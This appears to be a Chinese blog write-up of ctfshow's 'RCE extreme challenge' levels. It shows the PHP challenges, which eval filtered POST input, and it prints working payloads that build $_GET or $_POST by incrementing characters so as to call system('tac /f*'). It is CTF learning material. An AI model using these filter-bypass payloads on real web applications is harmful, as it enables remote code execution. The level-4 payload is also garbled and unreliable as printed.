ctfshow RCE极限挑战刷题

RCE极限挑战1

在这里插入图片描述
直接echo加反引号,先ls再tac。
在这里插入图片描述

RCE极限挑战二

在这里插入图片描述

过滤的有点多。。。
没思路了,看了下某大佬的参考,第一次写自增绕过。
有个脚本可以看看能传哪些字符

for ($i=32;$i<127;$i++){
        if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",chr($i))){
            echo chr($i)."  ";
        }
}

原理在这篇文章。
【Web】无字母/数字/参RCE相关例题wp-----------csdn Z3r4y

!  $  '  (  )  +  ,  .  /  ;  =  [  ]  _”是可以传的字符
就是通过构造一个“Array_”字符串,再取那个“A”,通过自增构造出"G""E""T"三个字母,拼接"$""_""[_]"等字符从而高出个$_GET[]字符串来传参。最后payload:
$_=[]._;$__=$_['!'==','];$__++;$__++;$__++;$___=++$__;++$__;$___=++$__.$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$___=$___.++$__;$_='_'.$___;$$_[_]($$_[__]);
但是有个问题就是用max hackbar会被拦截,HackBar不会.

在这里插入图片描述
在这里插入图片描述

rce极限挑战三

<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    if (is_string($ctfshow) && strlen($ctfshow) <= 105) {
        if (!preg_match("/[a-zA-Z2-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
            eval($ctfshow);
        }else{
            echo("Are you hacking me AGAIN?");
        }
    }else{
        phpinfo();
    }
}
?>

还是自增绕过,payload长度做了限制。
自己在php里面写好,然后去掉换行

$_=(0/0)._;//得到NAN_,可以搞处POST这四个字母
$_=$_[0];
$__=++$_;
$_++;
$__=$_.$__;
$_++;$_++;$_++;
$__=$__.$_++;
$__=_.$__.$_;
$$__[0]($$__[1]);// 得到$_POST[0]($_POST[1]);
$_=(0/0)._;$_=$_[0];$__=++$_;$_++;$__=$_.$__;$_++;$_++;$_++;$__=$__.$_++;$__=_.$__.$_;$$__[0]($$__[1]);&0=system&1=tac /f*


可以得到根目录。最后tac /f*即可。

rce极限挑战四

<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    if (is_string($ctfshow) && strlen($ctfshow) <= 84) {
        if (!preg_match("/[a-zA-Z1-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
            eval($ctfshow);
        }else{
            echo("Are you hacking me AGAIN?");
        }
    }else{
        phpinfo();
    }
}

rce极限挑战4
比上题限制更多,长度是84以下,数字只能用0,本题和上题一样,bp传没用(反正我是这样),hackbar反而有用。

$_=(0/_._)[0];//得到N,//NAN代表“不是数字”
$__=++$_;//得到两个值为O的变量
$__=_.++$__.$_++;//_PO
$_++;$_++;//$_=R
$_=$__.++$_.++$_;//_POST
$$_[0]($$_[_]);//长度是82
ctf_show=$_=(0/_._)[0];$__=++$_;$=__.++$.$_++;$_++;$_++;$_=$__.++$_.++$_;$$_[0]($$_[_]);&0=system&=ls / 查看根目录发现flag,然后读取即可。

rce极限挑战五

将长度限制到了73,数字0也不可以用了

<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    if (is_string($ctfshow) && strlen($ctfshow) <= 73) {
        if (!preg_match("/[a-zA-Z0-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
            eval($ctfshow);
        }else{
            echo("Are you hacking me AGAIN?");
        }
    }else{
        phpinfo();
    }
}

不是很会极限,还是参考官方答案吧。
https://ctf-show.feishu.cn/docx/ToiJd70SboRn52xhn3WcJsfjnah。

  • 12
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值